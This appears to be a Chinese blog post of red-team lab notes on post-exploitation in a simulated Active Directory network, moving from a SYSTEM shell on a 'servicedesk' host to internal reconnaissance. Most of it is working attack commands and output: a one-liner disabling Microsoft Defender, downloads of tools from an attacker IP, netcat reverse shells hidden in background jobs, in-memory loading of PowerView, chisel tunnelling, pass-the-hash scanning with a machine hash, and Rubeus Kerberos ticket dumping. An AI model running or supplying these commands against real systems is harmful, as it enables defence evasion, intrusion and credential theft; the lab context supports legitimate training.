目 录CONTENT

文章目录

红队行动Live-20241221

Administrator
2025-07-30 / 0 评论 / 0 点赞 / 8 阅读 / 0 字

1 初始立足点与会话控制

  • 核心挑战

    • 在获得 servicedesk 主机的 SYSTEM 权限后,首要任务是将这个立足点转化为一个稳定、高效的操作平台。初始通过漏洞获取的Shell往往交互性差、易中断,无法满足后续复杂操作的需求。

  • 横向移动工具的选择与博弈

    • psexec.py: 交互性好,是首选。但在一个干净、重置后的目标上,其上传和执行 .exe 文件的行为会被 Windows Defender 等防御机制直接拦截,导致失败。

    • smbexec.py: 该工具不上传可执行文件,而是通过创建远程服务来执行命令,可以绕过部分基于文件的检测。然而,它存在两个致命缺陷:

      • 交互性差: 提供的是半交互式 (semi-interactive) Shell,功能严重受限,许多命令(如直接执行 powershell)可能会导致会话卡死。

      • 共享冲突 (Sharing Violation): 依赖SMB服务,如果网络中已有其他用户或进程占用了相关资源,会导致连接失败。

  • 最终策略:组合拳

    • 鉴于以上限制,必须采用多步骤组合策略:首先利用 smbexec.py 的隐蔽性执行一条关闭防御的命令,然后再使用交互性更好的 psexec.py 建立稳定的主操作会话。

1.2 防御处置与环境准备

  • 目标: 暂时禁用目标主机上的关键防御功能,为后续工具的上传和执行扫清障碍。

  • 查看防御配置:

    • 在执行修改前,先使用 Get-MpPreference 命令查看当前 Microsoft Defender 的详细配置。

    Get-MpPreference
  • 一键式关闭关键防护:

    • 利用 smbexec.py 的半交互式Shell,执行一条“打了就跑”的 Set-MpPreference 命令,关闭一系列关键防护功能。

    • 关键防护选项解析:

      • DisableRealtimeMonitoring: 禁用实时监控,最核心的防护。

      • DisableBehaviorMonitoring: 禁用行为监控。

      • DisableBlockAtFirstSeen: 禁用云端“首次见到时阻止”功能。

      • DisableIOAVProtection: 禁用对下载文件和附件的扫描。

      • DisableScriptScanning: 禁用脚本扫描,对执行PowerShell脚本至关重要。

      • SubmitSamplesConsent: 设置为从不发送样本(值为0),避免将工具样本上传至云端分析。

    • 执行命令:

    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -SubmitSamplesConsent 0"

1.3 文件搬运与工具部署

  • 战略考量: 在实战中,应遵循最小化原则,按需搬运工具。但在当前已取得高权限且防御已临时禁用的受控环境中,可以一次性部署核心工具集,建立“大本营”。

  • 链式部署命令:

    • 使用一行PowerShell命令完成下载、解压、清理和验证的全过程。

    powershell -Command "iwr 'http://10.10.16.87/apps/apps.zip' -OutFile 'C:\ProgramData\apps.zip'; if ($?) { Expand-Archive 'C:\ProgramData\apps.zip' -DestinationPath 'C:\ProgramData\apps' }; if ($?) { ri 'C:\ProgramData\apps.zip' }; if ($?) { cd 'C:\ProgramData\apps' }; if ($?) { gci }"
    • 命令流程解析:

      • 使用 iwr (Invoke-WebRequest) 下载工具压缩包。

      • 使用 ; 作为命令分隔符,并配合 $? (上一条命令的执行状态) 进行逻辑判断。

      • 如果下载成功,则使用 Expand-Archive 解压。

      • 如果解压成功,则使用 ri (Remove-Item) 删除压缩包以减少痕迹。

      • 最后,切换目录并使用 gci (Get-ChildItem) 列出文件,确认工具已准备就绪。

1.3.1 带进度条的下载命令

  • 第一种 Start-BitsTransfer,在kali的命令行中不显示,因为不是原生shell

Start-BitsTransfer -Source "http://10.10.16.111/apps.zip" -Destination "C:\ProgramData\apps.zip"
  • 下载多个文件:

Start-BitsTransfer `
  -Source @("http://example.com/file1.zip", "http://example.com/file2.zip") `
  -Destination @("C:\file1.zip", "C:\file2.zip")
  • 使用凭据下载

$creds = Get-Credential
Start-BitsTransfer -Source "http://example.com/secure/file.zip" -Destination "C:\file.zip" -Credential $creds
  • 第二种 Invoke-WebRequest

实时显示下载数据流

非常不推荐使用,因为传文件巨慢

Writing web request
    Writing request stream... (Number of bytes written: 2202634)

PS C:\programdata> gci
    Directory: C:\programdata
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/31/2025  10:02 AM                apps
d---s-        9/15/2018  12:21 AM                Microsoft
d-----        9/15/2018  12:12 AM                SoftwareDistribution
d-----         9/5/2020   1:00 PM                ssh
d-----         1/1/2020   9:21 AM                VMware
-a----        7/31/2025   9:51 AM          45272 nc641.exe
-a----        7/31/2025   9:54 AM        4134912 win_us.exe

PS C:\programdata> Invoke-WebRequest -Uri "http://10.10.16.111/apps.zip" -OutFile "apps.zip"

1.3.2 解压缩到当前文件夹

Expand-Archive -Path "apps.zip" -DestinationPath ".\" -Force
  • -Path:要解压的压缩文件路径

  • -DestinationPath:解压目标目录,".\" 表示当前文件夹

  • -Force:如果目标路径已存在则覆盖(推荐加上)

注意:

  • Expand-Archive 适用于 .zip 格式,不支持 .rar 等其他格式

  • 从 PowerShell 5.0 开始内置(Win10 默认支持)

  • 不需要额外安装 7-Zip 或解压软件

1.4 建立稳定与多路会话

  • 目标: 建立多个、互不干扰的、可随时启用的反向Shell会话,以支持并发操作和复杂的攻击流程。

  • 会话启动方式对比:

    • 阻塞式 (Blocking): 直接执行 nc64.exe 会阻塞当前会话,导致“一个换一个”的低效局面。

    powershell -c "& 'c:\programdata\nc641.exe' -e powershell.exe 10.10.16.111 443"
    • 非阻塞式 - 后台作业 (Start-Job):

      • 原理: 在后台启动一个独立的PowerShell作业来运行 nc64.exe,完全不阻塞当前会话,且隐蔽性较强。

      • 缺点: 后台作业的输出和状态不易观察,管理相对复杂。

      • 命令:

      powershell -c "Start-Job -ScriptBlock { Start-Process 'c:\programdata\nc641.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 443' }"
      C:\Windows\system32> powershell -c "Start-Job -ScriptBlock { Start-Process 'c:\programdata\nc641.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 443' }"
       
      Id     Name       PSJobTypeName   State       HasMoreData     Location        Command                  
      --     ----       -------------   -----       -----------     --------        -------                  
      1      Job1       BackgroundJob   Running     True            localhost       Start-Process  'c:\pro...
      
      C:\Windows\system32> 
    • 非阻塞式 - 隐藏窗口 (Start-Process):

      • 原理: 通过 Start-Process (别名 saps) 启动进程,并附加 -WindowStyle Hidden 参数,使新进程在后台运行,从而释放当前会话。

      • 优点: 既实现了非阻塞,又易于管理,是推荐的稳定方案。

      • 命令:

      powershell -c "saps 'c:\programdata\nc641.exe' '-e', 'powershell.exe 10.10.16.111 443' -WindowStyle Hidden"

2 内网存活主机与服务探测

2.1 脚本扫描法 (ICMP Sweep)

  • 战略: 在内网立足点上进行扫描,流量不出网,比通过代理从远端扫描更准确、更隐蔽。

  • 原理: 利用Windows CMD的for循环和ping命令,对指定IP范围进行批量的ICMP探测。

  • 命令: cmd 下执行

for /l %i in (20,1,24) do for /l %j in (1,1,254) do @ping -n 3 -w 100 192.168.%i.%j | find "TTL=" > nul && echo 192.168.%i.%j is up
  • 分析: 此方法简单有效,但仅依赖ICMP协议,可能会遗漏禁ping的主机。因此需要与其他方法交叉验证。

2.2 被动信息收集:ARP与DNS缓存

  • ARP缓存:

    • 命令: arp -a

    • 价值: 查看本机ARP缓存表,被动发现近期有过二层通信的同网段主机,是一种零流量的探测方式。

  • DNS缓存:

    • 命令: ipconfig /displaydns

    • 价值: 查看本机DNS解析缓存,可以被动发现主机最近访问过的域名及其IP,从中识别出DC、文件服务器、应用服务器等高价值目标。

2.3 主动信息挖掘:DNS查询

  • 目标: 主动查询DNS服务器,挖掘域结构和关键服务,构建网络拓扑。

  • 工具对比:

    • nslookup: 传统的DNS查询工具,功能基础。

    nslookup -type=A gigantichosting.local 192.168.21.10
    • Resolve-DnsName (PowerShell): 功能更强大的现代DNS查询命令,支持ANY类型查询,能获取更全面的记录。

    Resolve-DnsName -Name gigantichosting.local -Type ANY -Server 192.168.21.10
  • 分析: 通过对已知的域(如gigantichosting.local, cubano.local)进行查询,可以逐步揭示多个域之间的关联和各自的域控信息。

2.4 综合扫描:fscan本地应用

  • 原理: fscan是一款集主机存活探测、端口扫描、服务爆破于一体的内网扫描利器,在目标机上直接运行,扫描速度快、信息全面。

  • 命令:

.\fscan.exe -h 192.168.0.0/16 -m smb -user 'SERVICEDESK$' -hash b2e7331134cd40baef89bb017371e5b1

C:\ProgramData\apps>.\FScan_2.0.1.exe -h 192.168.0.0/16 -m smb -user 'SERVICEDESK$' -hash b2e7331134cd40baef89bb017371e5b1
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.1

[1.5s]     加载用户名: 1 个
[1.5s]     用户名总数: 1 个
[1.5s]     已选择服务扫描模式
[1.5s]     开始信息扫描
[1.5s]     CIDR范围: 192.168.0.0-192.168.255.255
[1.5s]     generate_ip_range_full
[1.5s]     解析CIDR 192.168.0.0/16 -> IP范围 192.168.0.0-192.168.255.255
[1.5s]     最终有效主机数量: 65536
[1.5s]     开始主机扫描
[1.5s]     使用指定插件: smb
[2.1s] [*] 目标 192.168.20.1    存活 (ICMP)
[2.1s] [*] 目标 192.168.20.10   存活 (ICMP)
[2.1s] [*] 目标 192.168.20.15   存活 (ICMP)
[2.1s] [*] 目标 192.168.20.31   存活 (ICMP)
[2.2s] [*] 目标 192.168.21.1    存活 (ICMP)
[2.2s] [*] 目标 192.168.21.123  存活 (ICMP)
[2.2s] [*] 目标 192.168.21.10   存活 (ICMP)
[2.2s] [*] 目标 192.168.21.155  存活 (ICMP)
[2.3s] [*] 目标 192.168.23.1    存活 (ICMP)
[2.3s] [*] 目标 192.168.23.10   存活 (ICMP)
[2.3s] [*] 目标 192.168.23.146  存活 (ICMP)
[2.4s] [*] 目标 192.168.24.1    存活 (ICMP)
[2.4s] [*] 目标 192.168.24.10   存活 (ICMP)
[2.4s] [*] 目标 192.168.24.118  存活 (ICMP)
[2.4s] [*] 目标 192.168.24.155  存活 (ICMP)
[2.6s] [*] 目标 192.168.5.13    存活 (ICMP)
[2.6s] [*] 目标 192.168.5.21    存活 (ICMP)
[2.6s] [*] 目标 192.168.5.231   存活 (ICMP)
[2.6s] [*] 目标 192.168.5.242   存活 (ICMP)
[2.6s] [*] 目标 192.168.5.62    存活 (ICMP)
[2.6s] [*] 目标 192.168.5.74    存活 (ICMP)
[2.6s] [*] 目标 192.168.5.88    存活 (ICMP)
[9.0s] [*] 192.168.0.0/16 存活主机数: 22
[9.1s] [*] 192.168.5.0/24 存活主机数: 7
[9.1s] [*] 192.168.24.0/24 存活主机数: 4
[9.1s] [*] 192.168.20.0/24 存活主机数: 4
[9.1s] [*] 192.168.21.0/24 存活主机数: 4
[9.1s] [*] 192.168.23.0/24 存活主机数: 3
[9.1s]     存活主机数量: 22
[9.1s]     有效端口数量: 233
[9.1s] [*] 端口开放 192.168.20.1:22
[9.1s] [*] 端口开放 192.168.20.1:80
[9.1s] [*] 端口开放 192.168.20.10:445
[9.2s] [*] 端口开放 192.168.20.10:389
[9.2s] [*] 端口开放 192.168.20.10:139
[9.2s] [*] 端口开放 192.168.20.10:135
[9.2s] [*] 端口开放 192.168.20.10:88
[9.2s] [*] 端口开放 192.168.20.15:443
[9.2s] [*] 端口开放 192.168.20.15:80
[12.1s] [*] 端口开放 192.168.20.31:22
[12.1s] [*] 端口开放 192.168.20.31:443
[12.1s] [*] 端口开放 192.168.20.31:8000
[12.1s] [*] 端口开放 192.168.20.31:8080
[12.1s] [*] 端口开放 192.168.20.31:9100
[12.1s] [*] 端口开放 192.168.21.1:80
[12.1s] [*] 端口开放 192.168.21.1:22
[12.1s] [*] 端口开放 192.168.21.123:139
[12.1s] [*] 端口开放 192.168.21.123:445
[12.1s] [*] 端口开放 192.168.21.123:443
[12.1s] [*] 端口开放 192.168.21.123:135
[13.1s] [*] 端口开放 192.168.21.123:8083
[13.1s] [*] 端口开放 192.168.21.10:445
[13.1s] [*] 端口开放 192.168.21.10:139
[13.1s] [*] 端口开放 192.168.21.10:389
[13.1s] [*] 端口开放 192.168.21.10:135
[13.1s] [*] 端口开放 192.168.21.10:88
[14.2s] [*] 端口开放 192.168.21.155:445
[14.2s] [*] 端口开放 192.168.21.155:135
[14.2s] [*] 端口开放 192.168.21.155:80
[14.2s] [*] 端口开放 192.168.21.155:443
[14.2s] [*] 端口开放 192.168.21.155:1433
  • 价值: fscan的扫描结果可以对多种探测方法进行交叉验证,并能通过服务爆破直接发现可用的凭据。

2.5 代理穿透扫描:CrackMapExec应用

  • 原理: 当需要在攻击机上使用功能更强大的工具(如CrackMapExec)对内网进行扫描时,需要建立代理隧道。

  • 隧道建立步骤:

    • 目标机 (服务端): 运行chisel作为SOCKS5代理服务端。

    Start-Job -ScriptBlock { & 'c:\ProgramData\chisel_64.exe' server --socks5 --port 8080 }
    • 攻击机 (客户端): 运行chisel作为客户端连接服务端,并在本地建立SOCKS5代理。

    sudo chisel client 192.168.21.123:8080 socks
    • 配置Proxychains: 在攻击机上编辑/etc/proxychains4.conf,添加本地代理。

    socks5 127.0.0.1 1080
  • 执行扫描:

    • 通过proxychains运行crackmapexec,对内网进行大规模、深入的SMB枚举。

    proxychains crackmapexec smb 192.168.0.0/16 -u 'SERVICEDESK$' -H b2e7331134cd40baef89bb017371e5b1

3 侦察成果汇总与分析

3.1 存活主机IP列表汇总

  • 192.168.20.1, 192.168.20.10, 192.168.20.15, 192.168.20.31

  • 192.168.21.1, 192.168.21.10, 192.168.21.123, 192.168.21.155

  • 192.168.23.1, 192.168.23.10, 192.168.23.146, 192.168.23.164

  • 192.168.24.1, 192.168.24.10, 192.168.24.112, 192.168.24.118, 192.168.24.155

3.2 IP与域名映射关系分析

IP地址

域名/主机名

角色分析

192.168.20.10

dc.0x0security.local, adfs.0x0security.local

0x0security域的DC和ADFS服务器

192.168.21.10

dc.gigantichosting.local

gigantichosting域的DC

192.168.21.123

servicedesk.gigantichosting.local

当前立足点

192.168.21.155

sccm.gigantichosting.local

高价值目标:SCCM服务器

192.168.23.10

dc.cubano.local

cubano域的DC

192.168.23.146

exchange.cubano.local

高价值目标:Exchange邮件服务器

192.168.23.164

dev.cubano.local

开发服务器

192.168.24.10

dc.megabank.local, primary.megabank.local

megabank域的主DC

192.168.24.112

server04.megabank.local

megabank域的服务器

192.168.24.118

server05.megabank.local

megabank域的服务器

4 域枚举:战略、战术与工具 AD 中的权限与特权

4.1 为什么要枚举 AD?

  • 核心技能: Active Directory枚举是红队的核心技能之一,是理解网络结构、发现安全漏洞、制定后续行动计划的关键。

  • 提供价值: 企业网络环境的持续变更(员工、主机、软件、策略的增减)常常引入配置错误,成为安全隐患。通过深入枚举揭示这些强弱点,是红队为客户提供核心价值的体现。

  • 初步信息收集清单: 进入一个新AD环境后,应优先收集以下关键信息:

    • 域功能级别

    • 域密码策略

    • AD用户列表

    • AD计算机列表

    • AD组及成员关系

    • 域信任关系

    • 对象的访问控制列表 (ACL)

    • 组策略对象 (GPO) 信息

    • 远程访问权限

  • 寻找快速突破点: 收集信息后,应立即寻找“快速突破点”,例如发现某个普通用户对一台或多台主机拥有RDP或本地管理员权限,这通常是横向移动的捷径。

4.2 定义区分

  • Rights (权限): 指用户在系统中执行特定操作的能力,如“本地登录”、“通过RDP登录”等,通常由GPO分配。

  • Privileges (特权): 指对系统资源进行管理或操作的能力,涉及更低级别的系统功能,如“加载驱动程序”、“管理安全日志”等。

4.3 高权限组

  • AD中存在许多内置的高权限组,其成员拥有强大的权限和特权,是攻击和防御的焦点。

描述

Default Administrators

域管理员和企业管理员的“超级”组。

Server Operators

成员可以修改服务、访问SMB共享并备份文件。

Backup Operators

成员允许本地登录到DC,应被视为域管理员。可以创建SAM/NTDS的影子副本、远程读取注册表、访问DC文件系统。

Print Operators

成员允许本地登录到DC,并可能通过加载恶意驱动程序提权。

Hyper-V Administrators

如果存在虚拟DC,该组成员应被视为域管理员。

Account Operators

成员可以修改域内的非受保护账户和组。

Remote Management Users

成员允许使用PSRemoting登录到DC。

Group Policy Creator Owners

成员可以创建新GPO,但需要额外权限才能链接GPO。

Schema Admins

成员可以修改AD架构,可能通过修改默认对象ACL来植入后门。

DNSAdmins

成员有能力在DC上加载DLL,可能导致远程代码执行。

4.4 SYSTEM 账户的强大之处

  • NT AUTHORITY\SYSTEM是Windows中的最高权限内置账户,比本地管理员拥有更多特权。

  • 在加入域的主机上,SYSTEM账户可以模拟该主机的计算机账户来与域进行交互和枚举,其权限几乎等同于拥有一个域用户账户。

  • 拥有SYSTEM权限,意味着可以执行Kerberoasting、AS-REP Roasting、令牌模拟、ACL攻击等多种需要域上下文的高级攻击技术。

4.5 核心域枚举工具概览

  • BloodHound: 用于可视化映射AD关系,规划攻击路径的核心工具。

  • PowerView/SharpView: 获取AD情景感知的首选PowerShell/C#工具。

  • NetExec (nxc): crackmapexec的继任者,用于大规模枚举、凭据验证和横向移动。

  • PingCastle: 审计AD环境安全性的工具,基于风险评估和成熟度模型。

  • PowerUpSQL: 专注于SQL Server发现、审计和利用的工具。

  • Rubeus: Kerberos交互与滥用的瑞士军刀。

  • Mimikatz: 凭据窃取与权限提升的终极工具。

5 Rubeus 工具枚举实践

5.1 Rubeus 简介与准备

  • 定义: Rubeus是一个强大的C#工具集,专门用于与Kerberos协议进行原始交互和攻击滥用。

  • 准备工作:

    • 下载已编译的Rubeus.exe二进制文件。

    • 在攻击机(如Kali)上搭建简易Web服务器。

    • 在目标机的SYSTEM Shell中,使用Invoke-WebRequestcertutil等命令将其下载到可写目录(如C:\ProgramData)。

5.2 使用 triage 命令进行票据侦察

  • 命令:

PS C:\programdata\apps> .\Rubeus.exe triage
.\Rubeus.exe triage
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/
  v2.3.3 
Action: Triage Kerberos Tickets (All Users)

[*] Current LUID    : 0x3e7
 ----------------------------------------------------------------------------------------------------------------------------- 
 | LUID  | UserName                             | Service                                             | EndTime              |
 ----------------------------------------------------------------------------------------------------------------------------- 
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | krbtgt/MEGABANK.LOCAL                               | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/sccm.GiganticHosting.local                     | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local                       | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | ldap/dc.GiganticHosting.local                       | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | SERVICEDESK$                                        | 7/31/2025 7:33:42 PM |
 | 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | LDAP/dc.GiganticHosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
 | 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | krbtgt/GIGANTICHOSTING.LOCAL                        | 7/31/2025 7:33:42 PM |
 | 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local                       | 7/31/2025 7:33:42 PM |
 | 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | GC/dc.GiganticHosting.local/GiganticHosting.local   | 7/31/2025 7:33:42 PM |
 | 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | ldap/dc.gigantichosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
 ----------------------------------------------------------------------------------------------------------------------------- 

PS C:\programdata\apps> 
  • 功能: 该命令用于对当前系统的Kerberos票据进行“分诊”,即快速收集并显示所有用户在所有登录会话中缓存的Kerberos票据(包括TGTs和服务票据),是快速了解当前认证状态的首选命令。

  • 输出解读:

    • LUID (Logon ID): 登录会话的唯一标识符。

    • UserName: 票据所属的用户名。

    • Service: 票据对应的服务名(SPN),如krbtgt/DOMAIN.LOCAL

    • EndTime: 票据的过期时间。

  • 价值: 通过triage的输出,可以快速了解当前系统中有哪些用户的票据被缓存,以及这些票据可以用于访问哪些服务,为后续的票据窃取和利用提供情报。

5.3 使用 dump 命令转储票据详情

  • 命令:

.\Rubeus.exe dump
  • 功能: dump命令会更详细地列出所有Kerberos票据的完整信息,包括用于后续攻击所需的Base64编码的票据本身和会话密钥。

  • 输出解读:

    • LogonId: 登录会话ID。

    • UserSID: 用户的安全标识符。

    • ServiceName: 票据对应的SPN。

    • Flags: 票据的属性,如 forwardable, renewable, pre_authent 等。

    • KeyType: 会话密钥的加密类型,如aes256_cts_hmac_sha1

    • Base64 (key): 会话密钥的Base64编码。

    • Base64EncodedTicket: 票据本身的Base64编码。

  • 价值: dump命令获取的票据和密钥可直接用于票据传递 (Pass-the-Ticket) 攻击,是横向移动的核心技术之一。

6 PowerView 深度学习与实践

6.1 PowerView 概述与重要性

  • 定义: 一个功能强大的PowerShell脚本,属于PowerSploit项目,专用于Active Directory环境的侦察和枚举。

  • 为何依然重要: 尽管其原始GitHub仓库已归档多年,但PowerView的功能和设计理念已成为域渗透的基础。其核心功能被Empire等更新的框架所继承和演进。在实战中,它仍然是所有红队/渗透测试人员都在使用的核心工具之一。

  • 核心功能: 用户/组枚举、计算机/服务器发现、域信任映射、权限枚举 (ACL/GPO)、识别横向移动路径等。

6.2 PowerView vs PowerShell AD 模块

对比项

PowerShell AD模块

PowerView

来源

官方工具

第三方 (PowerSploit项目)

目的

管理和维护AD环境

渗透测试、红队信息收集

合法性

完全合法

常被视为攻击工具,可能被检测

权限

需管理员或特定权限

低权限用户即可进行信息枚举

6.3 PowerView vs SharpView

  • 关系: SharpView是PowerView的.NET (C#) 移植版。

  • 主要区别:

    • PowerView (PowerShell): 输出为PowerShell对象,可通过管道 (|) 灵活地进行筛选、排序和进一步处理,适合动态数据处理。

    • SharpView (.NET/EXE): 输出为字符串,不依赖PowerShell环境,但需要额外的文本解析。在对抗安全监控时可能更隐蔽。

  • 选择策略: 两者结合使用,PowerView适合深度集成和动态数据处理,SharpView在独立部署和隐蔽性方面有优势。

6.4 PowerView 学习方法:探索式掌握

  • 挑战: PowerView功能繁多,命令参数复杂,死记硬背效率低下且容易忘记。

  • 探索式学习法:

    • 加载前: 在PowerShell中,获取当前会话中的所有函数列表,并存入一个变量。

    $currentFunctions = Get-ChildItem function:
    • 加载PowerView: 通过内存加载,避免文件落地。

    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/apps/PowerView.ps1')
    • 加载后: 再次获取函数列表,与加载前的列表做差集,即可得到PowerView新增的所有函数。

    $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ }
    $scriptFunctions | Format-Wide -Column 4

    优势: 此方法无需依赖外部文档,能精确地、原生地获知当前版本的PowerView提供了哪些可用功能,是最优雅、最可靠的学习和探索方式。

  • 完整版本

    #先提条件-设置执行策略
    Set-ExecutionPolicy Unrestricted
    
    # 1. 保存加载前的函数列表
    $currentFunctions = Get-ChildItem function:
    
    # 2. 从内存加载PowerView
    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://<Your_IP>/PowerView.ps1')
    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/powershell/PowerView.ps1')
    # vshell版本命令
    . .\PowerView.ps1
    
    # 3. 找出新增的函数
    $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ }
    
    # 4. 以多列格式显示新增的函数名
    $scriptFunctions | Format-Wide -Column 4

6.5 PowerView 功能模块详解 (完整列表)

  • PowerView的功能可分为几大类,覆盖了域枚举的方方面面:

    • 杂项功能: 提供各种实用工具,例如转换UAC值、SID转换、用户模拟、Kerberoasting等。

    • 域/LDAP功能: 枚举域、森林、DC、用户、组、计算机、OU、GPO、ACL等几乎所有AD对象。

    • GPO功能: 专门用于枚举GPO及其与用户/计算机的关联。

    • 计算机枚举功能: 枚举远程主机上的本地组、共享、登录会话、RDP会话等。

    • 线程化的“元”功能: 组合基础功能,执行更复杂的侦察任务,如查找特定用户登录在哪台机器上、查找全域可访问的共享等。

    • 域信任功能: 枚举域与森林之间的信任关系。

6.6 PowerView 实践:核心枚举操作

6.6.1 杂项功能实践

  • SID 与用户名的转换:

ConvertTo-SID -UserName "Domain Admins"
Convert-ADName -ObjectName "S-1-5-..."
  • UAC 值转换:

Get-DomainUser "someuser" | ConvertFrom-UACValue -ShowAll

6.6.2 域/LDAP 功能实践

  • 获取域和 DC 信息:

PS C:\programdata\apps> Get-NetDomain

Forest                  : GiganticHosting.local
DomainControllers       : {dc.GiganticHosting.local}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : dc.GiganticHosting.local
RidRoleOwner            : dc.GiganticHosting.local
InfrastructureRoleOwner : dc.GiganticHosting.local
Name                    : GiganticHosting.local
PS C:\programdata\apps> Get-NetDomainController

Forest                     : GiganticHosting.local
CurrentTime                : 7/31/2025 8:39:49 PM
HighestCommittedUsn        : 274634
OSVersion                  : Windows Server 2019 Standard
Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain                     : GiganticHosting.local
IPAddress                  : 192.168.21.10
SiteName                   : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections         : {}
OutboundConnections        : {}
Name                       : dc.GiganticHosting.local
Partitions                 : {DC=GiganticHosting,DC=local, CN=Configuration,DC=GiganticHosting,DC=local,
                             CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local, DC=DomainDnsZones,DC=GiganticHosting,DC=local...}
PS C:\programdata\apps> Get-NetDomainController -Domain megabank.local
Forest              : megabank.local
CurrentTime         : 7/31/2025 7:39:13 PM
HighestCommittedUsn : 250300
OSVersion           : Windows Server 2019 Standard
Roles               : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain              : megabank.local
IPAddress           : 192.168.24.10
SiteName            : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections  : {}
OutboundConnections : {}
Name                : primary.megabank.local
Partitions          : {DC=megabank,DC=local, CN=Configuration,DC=megabank,DC=local,
                      CN=Schema,CN=Configuration,DC=megabank,DC=local,
                      DC=ForestDnsZones,DC=megabank,DC=local ...}

Forest / Domain 目标域名是 megabank.local

Name 域控制器主机名是 primary.megabank.local

IPAddress 域控 IP 是 192.168.24.10(后续命令要用)

OSVersion 是 Windows Server 2019,功能完整,支持 LDAP/SMB

Roles 域控具备 Schema、PDC、RID 等主角色

SiteName 默认站点名称 Default-First-Site-Name

Partitions 包含 AD 配置分区,支持 LDAP 查询

  • 枚举 OU (组织单位):

Get-NetOU
  • 枚举用户 (可Kerberoasting):

Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname
  • 枚举计算机 (无约束委派):

Get-NetComputer -Unconstrained

6.6.3 GPO 功能实践

  • 枚举所有 GPO:

Get-NetGPO
  • 查找特定计算机应用的 GPO:

Get-NetGPO -ComputerName "DC01"

6.6.4 计算机枚举实践

  • 测试管理员访问权限:

Test-AdminAccess -ComputerName "SRV01"
  • 枚举远程共享:

Get-NetShare -ComputerName "FILESRV01"
  • 枚举本地组成员:

Get-NetLocalGroupMember -ComputerName "WKS01" -GroupName "Administrators"
  • 枚举域内共享资源

PS C:\programdata\apps> Find-DomainShare -ComputerDomain megabank.local

Name	Type	    Remark	            ComputerName
IPC$	2147483651	Remote  IPC	        primary.megabank.local
GON	    0	        Logon server share	primary.megabank.local
SYSVOL	0	        Logon server share	primary.megabank.local
IPC$	2147483651	Remote IPC	        server05.megabank.local

6.6.5 “元”功能实践

  • 查找用户登录位置:

Find-UserLogonLocation -User "someadmin"
  • 查找域内可访问的共享:

PS C:\programdata\apps> Invoke-ShareFinder

Name                        Type Remark                                                          ComputerName
----                        ---- ------                                                          ------------
ADMIN$                2147483648 Remote Admin                                                    dc.GiganticHosting.local
C$                    2147483648 Default share                                                   dc.GiganticHosting.local
IPC$                  2147483651 Remote IPC                                                      dc.GiganticHosting.local
NETLOGON                       0 Logon server share                                              dc.GiganticHosting.local
SYSVOL                         0 Logon server share                                              dc.GiganticHosting.local
ADMIN$                2147483648 Remote Admin                                                    sccm.GiganticHosting.local
AdminUIContentPayload          0 AdminUIContentPayload share for AdminUIContent Packages         sccm.GiganticHosting.local
C$                    2147483648 Default share                                                   sccm.GiganticHosting.local
EasySetupPayload               0 EasySetupPayload share for EasySetup Packages                   sccm.GiganticHosting.local
IPC$                  2147483651 Remote IPC                                                      sccm.GiganticHosting.local
SCCMContentLib$                0 'Configuration Manager' Content Library for site GH1 (1/6/2020) sccm.GiganticHosting.local
SMSPKGC$                       0 SMS Site GH1 DP 1/6/2020                                        sccm.GiganticHosting.local
SMSSIG$                        0 SMS Site GH1 DP 1/6/2020                                        sccm.GiganticHosting.local
SMS_CPSC$                      0 SMS Compressed Package Storage                                  sccm.GiganticHosting.local
SMS_DP$                        0 ConfigMgr Site Server DP share                                  sccm.GiganticHosting.local
SMS_GH1                        0 SMS Site GH1 01/06/20                                           sccm.GiganticHosting.local
SMS_OCM_DATACACHE              0 OCM inbox directory                                             sccm.GiganticHosting.local
SMS_SITE                       0 SMS Site GH1 01/06/20                                           sccm.GiganticHosting.local
